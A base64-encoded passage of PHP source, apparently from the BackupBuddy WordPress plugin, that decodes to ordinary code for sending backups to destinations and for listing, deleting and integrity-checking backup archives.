JheSAgJGZpbGVzICAgICAgICAgICAgICAgICBBcnJheSBvZiBmaWxlcyB0byBzZW5kIChmdWxsIHBhdGgpLgoJICogQHBhcmFtIHN0cmluZyAkc2VuZF9pZCAgICAgICAgICAgICAgIFNlbmQgSUQuCgkgKiBAcGFyYW0gYm9vbCAgICRkZWxldGVfYWZ0ZXIgICAgICAgICAgV2hldGhlciBvciBub3QgdG8gZGVsZXRlIGFmdGVyIHNlbmQgc3VjY2VzcyBhZnRlciBUSElTIHNlbmQuCgkgKiBAcGFyYW0gYm9vbCAgICRpc19yZXRyeSAgICAgICAgICAgICAgSWYgaXMgYSByZXRyeSBhdHRlbXB0LgoJICoKCSAqIEByZXR1cm4gYm9vbHxhcnJheSAgQm9vbCB0cnVlID0gc3VjY2VzcywgYm9vbCBmYWxzZSA9IGZhaWwsIGFycmF5ID0gbXVsdGlwYXJ0IHRyYW5zZmVyLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGRlc3RpbmF0aW9uX3NlbmQoICRkZXN0aW5hdGlvbl9zZXR0aW5ncywgJGZpbGVzLCAkc2VuZF9pZCA9ICcnLCAkZGVsZXRlX2FmdGVyID0gZmFsc2UsICRpc19yZXRyeSA9IGZhbHNlICkgewoKCQkvLyBQYXNzIG9mZiB0byBkZXN0aW5hdGlvbiBoYW5kbGVyLgoJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvZGVzdGluYXRpb25zL2Jvb3RzdHJhcC5waHAnOwoJCSRzZW5kX3Jlc3VsdCA9IHBiX2JhY2t1cGJ1ZGR5X2Rlc3RpbmF0aW9uczo6c2VuZCggJGRlc3RpbmF0aW9uX3NldHRpbmdzLCAkZmlsZXMsICRzZW5kX2lkLCAkZGVsZXRlX2FmdGVyLCAkaXNfcmV0cnkgKTsKCgkJcmV0dXJuICRzZW5kX3Jlc3VsdDsKCgl9IC8vIEVuZCBkZXN0aW5hdGlvbl9zZW5kKCkuCgoKCgkvKioKCSAqIEdldHMgYSBsaXN0IG9mIGJhY2t1cHMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdHlwZSAgICAgICAgICBWYWxpZCBvcHRpb25zOiBkZWZhdWx0LCBtaWdyYXRlLgoJICogQHBhcmFtIGJvb2wgICAkc3Vic2l0ZV9tb2RlICBXaGVuIGluIHN1YnNpdGUgbW9kZSBvbmx5IGJhY2t1cHMgZm9yIHRoYXQgc3BlY2lmaWMgc3Vic2l0ZSB3aWxsIGJlIGxpc3RlZC4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBTb3J0ZWQgYXJyYXkgb2YgYmFja3Vwcy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBiYWNrdXBzX2xpc3QoICR0eXBlID0gJ2RlZmF1bHQnLCAkc3Vic2l0ZV9tb2RlID0gZmFsc2UgKSB7CgoJCWlmICggJ2RlbGV0ZV9iYWNrdXAnID09PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdidWxrX2FjdGlvbicgKSAmJiBpc19hcnJheSggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnaXRlbXMnICkgKSApIHsKCQkJJG5lZWRzX3NhdmUgPSBmYWxzZTsKCQkJcGJfYmFja3VwYnVkZHk6OnZlcmlmeV9ub25jZSggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnX3dwbm9uY2UnICkgKTsgLy8gU2VjdXJpdHkgY2hlY2sgdG8gcHJldmVudCB1bmF1dGhvcml6ZWQgZGVsZXRpb25zIGJ5IHBvc3RpbmcgZnJvbSBhIHJlbW90ZSBwbGFjZS4KCQkJJGRlbGV0ZWRfZmlsZXMgPSBhcnJheSgpOwoJCQlmb3JlYWNoICggcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnaXRlbXMnICkgYXMgJGl0ZW0gKSB7CgkJCQlpZiAoIGZpbGVfZXhpc3RzKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSAuICRpdGVtICkgKSB7CgkJCQkJaWYgKCB0cnVlID09PSBAdW5saW5rKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSAuICRpdGVtICkgKSB7CgkJCQkJCSRkZWxldGVkX2ZpbGVzW10gPSAkaXRlbTsKCgkJCQkJCS8vIENsZWFudXAgYW55IHJlbGF0ZWQgZmlsZW9wdGlvbnMgZmlsZXMuCgkJCQkJCSRzZXJpYWwgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGl0ZW0gKTsKCgkJCQkJCSRiYWNrdXBfZmlsZXMgPSBnbG9iKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSAuICcqLnppcCcgKTsKCQkJCQkJaWYgKCAhIGlzX2FycmF5KCAkYmFja3VwX2ZpbGVzICkgKSB7CgkJCQkJCQkkYmFja3VwX2ZpbGVzID0gYXJyYXkoKTsKCQkJCQkJfQoJCQkJCQlpZiAoIGNvdW50KCAkYmFja3VwX2ZpbGVzICkgPiA1ICkgeyAvLyBLZWVwIGEgbWluaW11bSBudW1iZXIgb2YgYmFja3VwcyBpbiBhcnJheSBmb3Igc3RhdHMuCgkJCQkJCQkkdGhpc19zZXJpYWwgICAgICA9IHNlbGY6OmdldF9zZXJpYWxfZnJvbV9maWxlKCAkaXRlbSApOwoJCQkJCQkJJGZpbGVvcHRpb25zX2ZpbGUgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdmaWxlb3B0aW9ucy8nIC4gJHRoaXNfc2VyaWFsIC4gJy50eHQnOwoJCQkJCQkJaWYgKCBmaWxlX2V4aXN0cyggJGZpbGVvcHRpb25zX2ZpbGUgKSApIHsKCQkJCQkJCQlAdW5saW5rKCAkZmlsZW9wdGlvbnNfZmlsZSApOwoJCQkJCQkJfQoJCQkJCQkJaWYgKCBmaWxlX2V4aXN0cyggJGZpbGVvcHRpb25zX2ZpbGUgLiAnLmxvY2snICkgKSB7CgkJCQkJCQkJQHVubGluayggJGZpbGVvcHRpb25zX2ZpbGUgLiAnLmxvY2snICk7CgkJCQkJCQl9CgkJCQkJCQkkbmVlZHNfc2F2ZSA9IHRydWU7CgkJCQkJCX0KCQkJCQl9IGVsc2UgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdFcnJvcjogVW5hYmxlIHRvIGRlbGV0ZSBiYWNrdXAgZmlsZSBgJyAuICRpdGVtIC4gJ2AuIFBsZWFzZSB2ZXJpZnkgcGVybWlzc2lvbnMuJywgdHJ1ZSApOwoJCQkJCX0KCQkJCX0gLy8gRW5kIGlmIGZpbGUgZXhpc3RzLgoJCQl9IC8vIEVuZCBmb3JlYWNoLgoJCQlpZiAoIHRydWUgPT09ICRuZWVkc19zYXZlICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnNhdmUoKTsKCQkJfQoKCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCBfXyggJ0RlbGV0ZWQ6JywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnICcgLiBpbXBsb2RlKCAnLCAnLCAkZGVsZXRlZF9maWxlcyApICk7CgkJfSAvLyBFbmQgaWYgZGVsZXRpbmcgYmFja3VwKHMpLgoKCQkkYmFja3VwcyAgICAgICAgICAgPSBhcnJheSgpOwoJCSRiYWNrdXBfc29ydF9kYXRlcyA9IGFycmF5KCk7CgoJCSRmaWxlcyA9IGdsb2IoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpIC4gJ2JhY2t1cCouemlwJyApOwoJCWlmICggISBpc19hcnJheSggJGZpbGVzICkgKSB7CgkJCSRmaWxlcyA9IGFycmF5KCk7CgkJfQoKCQkkZmlsZXMyID0gZ2xvYiggYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwRGlyZWN0b3J5KCkgLiAnc25hcHNob3QqLnppcCcgKTsKCQlpZiAoICEgaXNfYXJyYXkoICRmaWxlczIgKSApIHsKCQkJJGZpbGVzMiA9IGFycmF5KCk7CgkJfQoKCQkkZmlsZXMgPSBhcnJheV9tZXJnZSggJGZpbGVzLCAkZmlsZXMyICk7CgoJCWlmICggaXNfYXJyYXkoICRmaWxlcyApICYmICEgZW1wdHkoICRmaWxlcyApICkgeyAvLyBGb3Igcm9idXN0bmVzcy4gV2l0aG91dCBvcGVuX2Jhc2VkaXIgdGhlIGdsb2IoKSBmdW5jdGlvbiByZXR1cm5zIGFuIGVtcHR5IGFycmF5IGZvciBubyBtYXRjaC4gV2l0aCBvcGVuX2Jhc2VkaXIgaW4gZWZmZWN0IHRoZSBnbG9iKCkgZnVuY3Rpb24gcmV0dXJucyBhIGJvb2xlYW4gZmFsc2UgZm9yIG5vIG1hdGNoLgoKCQkJJGJhY2t1cF9wcmVmaXggPSBzZWxmOjpiYWNrdXBfcHJlZml4KCk7IC8vIEJhY2t1cCBwcmVmaXggZm9yIHRoaXMgc2l0ZS4gVXNlZCBmb3IgTVMgY2hlY2tpbmcgdGhhdCB0aGlzIHVzZXIgY2FuIHNlZSB0aGlzIGJhY2t1cC4KCQkJZm9yZWFjaCAoICRmaWxlcyBhcyAkZmlsZV9pZCA9PiAkZmlsZSApIHsKCgkJCQlpZiAoIHRydWUgPT09ICRzdWJzaXRlX21vZGUgJiYgaXNfbXVsdGlzaXRlKCkgKSB7IC8vIElmIGEgTmV0d29yayBhbmQgTk9UIHRoZSBzdXBlcmFkbWluIG11c3QgbWFrZSBzdXJlIHRoZXkgY2FuIG9ubHkgc2VlIHRoZSBzcGVjaWZpYyBzdWJzaXRlIGJhY2t1cHMgZm9yIHNlY3VyaXR5IHB1cnBvc2VzLgoKCQkJCQkvLyBPbmx5IGFsbG93IHZpZXdpbmcgb2YgdGhlaXIgb3duIGJhY2t1cHMuCgkJCQkJaWYgKCAhIHN0cnN0ciggJGZpbGUsICRiYWNrdXBfcHJlZml4ICkgKSB7CgkJCQkJCXVuc2V0KCAkZmlsZXNbICRmaWxlX2lkIF0gKTsgLy8gUmVtb3ZlIHRoaXMgYmFja3VwIGZyb20gdGhlIGxpc3QuIFRoaXMgdXNlciBkb2VzIG5vdCBoYXZlIGFjY2VzcyB0byBpdC4KCQkJCQkJY29udGludWU7IC8vIFNraXAgcHJvY2Vzc2luZyB0byBuZXh0IGZpbGUuCgkJCQkJfQoJCQkJfQoKCQkJCSRzZXJpYWwgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGZpbGUgKTsKCgkJCQkkb3B0aW9ucyA9IGFycmF5KCk7CgkJCQlpZiAoIGZpbGVfZXhpc3RzKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdmaWxlb3B0aW9ucy8nIC4gJHNlcmlhbCAuICcudHh0JyApICkgewoJCQkJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9maWxlb3B0aW9ucy5waHAnOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbGVvcHRpb25zIGluc3RhbmNlICMzMy4nICk7CgkJCQkJJHJlYWRfb25seSAgICAgID0gZmFsc2U7CgkJCQkJJGlnbm9yZV9sb2NrICAgID0gZmFsc2U7CgkJCQkJJGNyZWF0ZV9maWxlICAgID0gdHJ1ZTsKCQkJCQkkYmFja3VwX29wdGlvbnMgPSBuZXcgcGJfYmFja3VwYnVkZHlfZmlsZW9wdGlvbnMoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpIC4gJ2ZpbGVvcHRpb25zLycgLiAkc2VyaWFsIC4gJy50eHQnLCAkcmVhZF9vbmx5LCAkaWdub3JlX2xvY2ssICRjcmVhdGVfZmlsZSApOyAvLyBXaWxsIGNyZWF0ZSBmaWxlIHRvIGhvbGQgaW50ZWdyaXR5IGRhdGEgaWYgbm90aGluZyBleGlzdHMuCgkJCQl9IGVsc2UgewoJCQkJCSRiYWNrdXBfb3B0aW9ucyA9ICcnOwoJCQkJfQoJCQkJJGJhY2t1cF9pbnRlZ3JpdHkgPSBiYWNrdXBidWRkeV9jb3JlOjpiYWNrdXBfaW50ZWdyaXR5X2NoZWNrKCAkZmlsZSwgJGJhY2t1cF9vcHRpb25zLCAkb3B0aW9ucyApOwoKCQkJCS8vIEJhY2t1cCBzdGF0dXMuCgkJCQkkcHJldHR5X3N0YXR1cyA9IGFycmF5KAoJCQkJCXRydWUgICA9PiAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLXN1Y2Nlc3MiPkdvb2Q8L3NwYW4+JywgLy8gdjQuMCsgR29vZC4KCQkJCQkncGFzcycgPT4gJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC1zdWNjZXNzIj5Hb29kPC9zcGFuPicsIC8vIFByZS12NC4wIEdvb2QuCgkJCQkJZmFsc2UgID0+ICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtaW1wb3J0YW50Ij5CYWQ8L3NwYW4+JywgLy8gdjQuMCsgQmFkLgoJCQkJCSdmYWlsJyA9PiAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLWltcG9ydGFudCI+QmFkPC9zcGFuPicsIC8vIFByZS12NC4wIEJhZC4KCQkJCSk7CgoJCQkJLy8gQmFja3VwIHR5cGUuCgkJCQkkcHJldHR5X3R5cGUgPSBhcnJheSgKCQkJCQknZnVsbCcgICAgPT4gJ0Z1bGwnLAoJCQkJCSdkYicgICAgICA9PiAnRGF0YWJhc2UnLAoJCQkJCSdmaWxlcycgICA9PiAnRmlsZXMnLAoJCQkJCSd0aGVtZXMnICA9PiAnVGhlbWVzJywKCQkJCQkncGx1Z2lucycgPT4gJ1BsdWdpbnMnLAoJCQkJKTsKCgkJCQkvLyBEZWZhdWx0cy4KCQkJCSRkZXRlY3RlZF90eXBlID0gJyc7CgkJCQkkZmlsZV9zaXplICAgICA9ICcnOwoJCQkJJG1vZGlmaWVkICAgICAgPSAnJzsKCQkJCSRtb2RpZmllZF90aW1lID0gMDsKCQkJCSRpbnRlZ3JpdHkgICAgID0gJyc7CgoJCQkJJG1haW5fc3RyaW5nID0gJ1dhcm4jMjg0Lic7CgkJCQlpZiAoIGlzX2FycmF5KCAkYmFja3VwX2ludGVncml0eSApICkgeyAvLyBEYXRhIGludGFjdC4uLiBwdXQgaXQgYWxsIHRvZ2V0aGVyLgoJCQkJCS8vIENhbGN1bGF0ZSB0aW1lIGFnby4KCQkJCQkkdGltZV9hZ28gPSAnJzsKCQkJCQlpZiAoIGlzc2V0KCAkYmFja3VwX2ludGVncml0eVsnbW9kaWZpZWQnXSApICkgewoJCQkJCQkkdGltZV9hZ28gPSBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+dGltZV9hZ28oICRiYWNrdXBfaW50ZWdyaXR5Wydtb2RpZmllZCddICkgLiAnIGFnbyc7CgkJCQkJfQoKCQkJCQkkZGV0ZWN0ZWRfdHlwZSA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5wcmV0dGlmeSggJGJhY2t1cF9pbnRlZ3JpdHlbJ2RldGVjdGVkX3R5cGUnXSwgJHByZXR0eV90eXBlICk7CgkJCQkJaWYgKCAnJyA9PSAkZGV0ZWN0ZWRfdHlwZSApIHsKCQkJCQkJJGRldGVjdGVkX3R5cGUgPSBiYWNrdXBidWRkeV9jb3JlOjpwcmV0dHlfYmFja3VwX3R5cGUoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cFR5cGVGcm9tRmlsZSggJGZpbGUgKSApOwoJCQkJCQlpZiAoICcnID09ICRkZXRlY3RlZF90eXBlICkgewoJCQkJCQkJJGRldGVjdGVkX3R5cGUgPSAnPHNwYW4gY2xhc3M9ImRlc2NyaXB0aW9uIj5Vbmtub3duPC9zcGFuPic7CgkJCQkJCX0KCQkJCQl9IGVsc2UgewoJCQkJCQlpZiAoIGlzc2V0KCAkYmFja3VwX29wdGlvbnMtPm9wdGlvbnNbJ3Byb2ZpbGUnXSApICkgewoJCQkJCQkJJHByb2ZpbGVfdGl0bGUgPSBpc3NldCggJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWydwcm9maWxlJ11bJ3RpdGxlJ10gKSA/IGh0bWxlbnRpdGllcyggJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWydwcm9maWxlJ11bJ3RpdGxlJ10gKSA6ICcnOwoJCQkJCQkJJGRldGVjdGVkX3R5cGUgPSAnCgkJCQkJCQk8ZGl2PgoJCQkJCQkJCTxzcGFuIGNsYXNzPSJwcm9maWxlX3R5cGUtJyAuICRiYWNrdXBfaW50ZWdyaXR5WydkZXRlY3RlZF90eXBlJ10gLiAnIiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IiB0aXRsZT0iJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OnByZXR0eV9iYWNrdXBfdHlwZSggJGRldGVjdGVkX3R5cGUgKSAuICciPjwvc3Bhbj4KCQkJCQkJCQk8c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrOyBmbG9hdDogbGVmdDsgaGVpZ2h0OiAxNXB4OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjRUJFQkVCOyBtYXJnaW4tbGVmdDogNnB4OyBtYXJnaW4tcmlnaHQ6IDZweDsiPjwvc3Bhbj4KCQkJCQkJCQknIC4gJHByb2ZpbGVfdGl0bGUgLiAnCgkJCQkJCQk8L2Rpdj4KCQkJCQkJCSc7CgkJCQkJCX0KCQkJCQl9CgoJCQkJCSRmaWxlX3NpemUgICAgID0gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggJGJhY2t1cF9pbnRlZ3JpdHlbJ3NpemUnXSApOwoJCQkJCSRtb2RpZmllZCAgICAgID0gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmRhdGUoIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5sb2NhbGl6ZV90aW1lKCAkYmFja3VwX2ludGVncml0eVsnbW9kaWZpZWQnXSApLCAnbCwgRiBqLCBZIC0gZzppOnMgYScgKTsKCQkJCQkkbW9kaWZpZWRfdGltZSA9ICRiYWNrdXBfaW50ZWdyaXR5Wydtb2RpZmllZCddOwoJCQkJCWlmICggaXNzZXQoICRiYWNrdXBfaW50ZWdyaXR5WydzdGF0dXMnXSApICkgeyAvLyBQcmUtdjQuMC4KCQkJCQkJJHN0YXR1cyA9ICRiYWNrdXBfaW50ZWdyaXR5WydzdGF0dXMnXTsKCQkJCQl9IGVsc2UgeyAvLyB2NC4wKy4KCQkJCQkJJHN0YXR1cyA9ICRiYWNrdXBfaW50ZWdyaXR5Wydpc19vayddOwoJCQkJCX0KCgkJCQkJLy8gQ2FsY3VsYXRlIG1haW4gcm93IHN0cmluZy4KCQkJCQlpZiAoICdkZWZhdWx0JyA9PT0gJHR5cGUgKSB7IC8vIERlZmF1bHQgYmFja3VwIGxpc3RpbmcuCgkJCQkJCSRtYWluX3N0cmluZyA9ICc8YSBocmVmPSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAnZG93bmxvYWRfYXJjaGl2ZScgKSAuICcmYmFja3VwYnVkZHlfYmFja3VwPScgLiBiYXNlbmFtZSggJGZpbGUgKSAuICciIGNsYXNzPSJiYWNrdXBidWRkeUZpbGVUaXRsZSIgdGl0bGU9IicgLiBiYXNlbmFtZSggJGZpbGUgKSAuICciPicgLiAkbW9kaWZpZWQgLiAnICgnIC4gJHRpbWVfYWdvIC4gJyk8L2E+JzsKCQkJCQl9IGVsc2VpZiAoICdtaWdyYXRlJyA9PT0gJHR5cGUgKSB7IC8vIE1pZ3JhdGlvbiBiYWNrdXAgbGlzdGluZy4KCQkJCQkJJG1haW5fc3RyaW5nID0gJzxhIGNsYXNzPSJwYl9iYWNrdXBidWRkeV9ob3ZlcmFjdGlvbl9taWdyYXRlIGJhY2t1cGJ1ZGR5RmlsZVRpdGxlIiByZWw9IicgLiBiYXNlbmFtZSggJGZpbGUgKSAuICciIGhyZWY9IicgLiBwYl9iYWNrdXBidWRkeTo6cGFnZV91cmwoKSAuICcmbWlncmF0ZT0nIC4gYmFzZW5hbWUoICRmaWxlICkgLiAnJnZhbHVlPScgLiBiYXNlbmFtZSggJGZpbGUgKSAuICciIHRpdGxlPSInIC4gYmFzZW5hbWUoICRmaWxlICkgLiAnIj4nIC4gJG1vZGlmaWVkIC4gJyAoJyAuICR0aW1lX2FnbyAuICcpPC9hPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJG1haW5fc3RyaW5nID0gJ3tVbmtub3duIHR5cGUufSc7CgkJCQkJfQoJCQkJCS8vIEFkZCBjb21tZW50IHRvIG1haW4gcm93IHN0cmluZyBpZiBhcHBsaWNhYmxlLgoJCQkJCWlmICggISBlbXB0eSggJGJhY2t1cF9pbnRlZ3JpdHlbJ2NvbW1lbnQnXSApICkgewoJCQkJCQkkbWFpbl9zdHJpbmcgLj0gJzxicj48c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iPk5vdGU6IDxzcGFuIGNsYXNzPSJwYl9iYWNrdXBidWRkeV9ub3RldGV4dCI+JyAuIGh0bWxlbnRpdGllcyggJGJhY2t1cF9pbnRlZ3JpdHlbJ2NvbW1lbnQnXSApIC4gJzwvc3Bhbj48L3NwYW4+JzsKCQkJCQl9CgoJCQkJCS8vIE5vIGludGVncml0eSBjaGVjayBmb3IgdGhlbWVzIG9yIHBsdWdpbnMgdHlwZXMuCgkJCQkJJHJhd190eXBlICAgICAgICAgICAgID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwVHlwZUZyb21GaWxlKCAkZmlsZSApOwoJCQkJCSRza2lwX2ludGVncml0eV90eXBlcyA9IGFycmF5KCAndGhlbWVzJywgJ3BsdWdpbnMnLCAnbWVkaWEnLCAnZmlsZXMnICk7CgkJCQkJaWYgKCBpbl9hcnJheSggJHJhd190eXBlLCAkc2tpcF9pbnRlZ3JpdHlfdHlwZXMsIHRydWUgKSApIHsKCQkJCQkJdW5zZXQoICRmaWxlX2NvdW50ICk7CgkJCQkJCWZvcmVhY2ggKCAoYXJyYXkpICRiYWNrdXBfaW50ZWdyaXR5Wyd0ZXN0cyddIGFzICR0ZXN0ICkgewoJCQkJCQkJaWYgKCBpc3NldCggJHRlc3RbJ2ZpbGVDb3VudCddICkgKSB7CgkJCQkJCQkJJGZpbGVfY291bnQgPSAkdGVzdFsnZmlsZUNvdW50J107CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJGludGVncml0eSA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5wcmV0dGlmeSggJHN0YXR1cywgJHByZXR0eV9zdGF0dXMgKSAuICcgJzsKCQkJCQkJaWYgKCBpc3NldCggJGZpbGVfY291bnQgKSApIHsKCQkJCQkJCSRpbnRlZ3JpdHkgLj0gJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC13YXJuaW5nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPicgLiAkZmlsZV9jb3VudCAuICcgJyAuIGVzY19odG1sX18oICdmaWxlcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvc3Bhbj4gJzsgLy8gVE9ETzogSGlkZGVuIHVudGlsIGZ1dHVyZSB2ZXJzaW9uLgoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJJGludGVncml0eSA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5wcmV0dGlmeSggJHN0YXR1cywgJHByZXR0eV9zdGF0dXMgKSAuICcgJzsKCQkJCQl9CgoJCQkJCWlmICggaXNzZXQoICRiYWNrdXBfaW50ZWdyaXR5WydzY2FuX25vdGVzJ10gKSAmJiBjb3VudCggKGFycmF5KSAkYmFja3VwX2ludGVncml0eVsnc2Nhbl9ub3RlcyddICkgPiAwICkgewoJCQkJCQlmb3JlYWNoICggKGFycmF5KSAkYmFja3VwX2ludGVncml0eVsnc2Nhbl9ub3RlcyddIGFzICRzY2FuX25vdGUgKSB7CgkJCQkJCQkkaW50ZWdyaXR5IC49ICRzY2FuX25vdGUgLiAnICc7CgkJCQkJCX0KCQkJCQl9CgkJCQkJJGludGVncml0eSAuPSAnPGEgaHJlZj0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpIC4gJyZyZXNldF9pbnRlZ3JpdHk9JyAuICRzZXJpYWwgLiAnIiB0aXRsZT0iUmVzY2FuIGludGVncml0eS4gTGFzdCBjaGVja2VkICcgLiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZGF0ZSggJGJhY2t1cF9pbnRlZ3JpdHlbJ3NjYW5fdGltZSddICkgLiAnLiI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvcmVmcmVzaF9ncmF5LmdpZiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtMXB4OyI+PC9hPic7CgkJCQkJJGludGVncml0eSAuPSAnPGRpdiBjbGFzcz0icm93LWFjdGlvbnMiPjxhIHRpdGxlPSInIC4gX18oICdCYWNrdXAgU3RhdHVzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiBocmVmPSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAnaW50ZWdyaXR5X3N0YXR1cycgKSAuICcmc2VyaWFsPScgLiAkc2VyaWFsIC4gJyYjMDM4O1RCX2lmcmFtZT0xJiMwMzg7d2lkdGg9NjQwJiMwMzg7aGVpZ2h0PTYwMCIgY2xhc3M9InRoaWNrYm94Ij4nIC4gX18oICdWaWV3IERldGFpbHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc8L2E+PC9kaXY+JzsKCgkJCQkJJHN1bV9sb2dfZmlsZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpIC4gJ3N0YXR1cy0nIC4gJHNlcmlhbCAuICdfJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddIC4gJy50eHQnOwoJCQkJCWlmICggZmlsZV9leGlzdHMoICRzdW1fbG9nX2ZpbGUgKSApIHsKCQkJCQkJJGludGVncml0eSAuPSAnPGRpdiBjbGFzcz0icm93LWFjdGlvbnMiPjxhIHRpdGxlPSInIC4gX18oICdWaWV3IEJhY2t1cCBMb2cnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIGhyZWY9IicgLiBwYl9iYWNrdXBidWRkeTo6YWpheF91cmwoICd2aWV3X2xvZycgKSAuICcmc2VyaWFsPScgLiAkc2VyaWFsIC4gJyYjMDM4O1RCX2lmcmFtZT0xJiMwMzg7d2lkdGg9NjQwJiMwMzg7aGVpZ2h0PTYwMCIgY2xhc3M9InRoaWNrYm94Ij4nIC4gX18oICdWaWV3IExvZycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvYT48L2Rpdj4nOwoJCQkJCX0KCQkJCX0gLy8gZW5kIGlmIGlzX2FycmF5KCAkYmFja3VwX29wdGlvbnMgKS4KCgkJCQkkaW50ZWdyaXR5IC49ICc8ZGl2IGNsYXNzPSJyb3ctYWN0aW9ucyI+PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X2hvdmVyYWN0aW9uX2hhc2giIHJlbD0iJyAuIGJhc2VuYW1lKCAkZmlsZSApIC4gJyI+VmlldyBDaGVja3N1bTwvYT48L2Rpdj4nOwoKCQkJCSRiYWNrdXBzWyBiYXNlbmFtZSggJGZpbGUgKSBdID0gYXJyYXkoCgkJCQkJYXJyYXkoIGJhc2VuYW1lKCAkZmlsZSApLCAkbWFpbl9zdHJpbmcgLiAnPGJyPjxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiIgc3R5bGU9ImNvbG9yOiAjQUFBOyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IG1hcmdpbi10b3A6IDVweDsiPicgLiBiYXNlbmFtZSggJGZpbGUgKSAuICc8L3NwYW4+JyApLAoJCQkJCSRkZXRlY3RlZF90eXBlLAoJCQkJCSRmaWxlX3NpemUsCgkJCQkJJGludGVncml0eSwKCQkJCSk7CgoJCQkJJGJhY2t1cF9zb3J0X2RhdGVzWyBiYXNlbmFtZSggJGZpbGUgKSBdID0gJG1vZGlmaWVkX3RpbWU7CgoJCQl9IC8vIEVuZCBmb3JlYWNoKCkuCgkJfSAvLyBFbmQgaWYuCgoJCS8vIFNvcnQgYmFja3VwIGJ5IGRhdGUuCgkJYXJzb3J0KCAkYmFja3VwX3NvcnRfZGF0ZXMgKTsKCQkvLyBSZS1hcnJhbmdlIGJhY2t1cHMgYmFzZWQgb24gc29ydCBkYXRlcy4KCQkkc29ydGVkX2JhY2t1cHMgPSBhcnJheSgpOwoJCWZvcmVhY2ggKCAkYmFja3VwX3NvcnRfZGF0ZXMgYXMgJGJhY2t1cF9maWxlID0+ICRiYWNrdXBfc29ydF9kYXRlICkgewoJCQkkc29ydGVkX2JhY2t1cHNbICRiYWNrdXBfZmlsZSBdID0gJGJhY2t1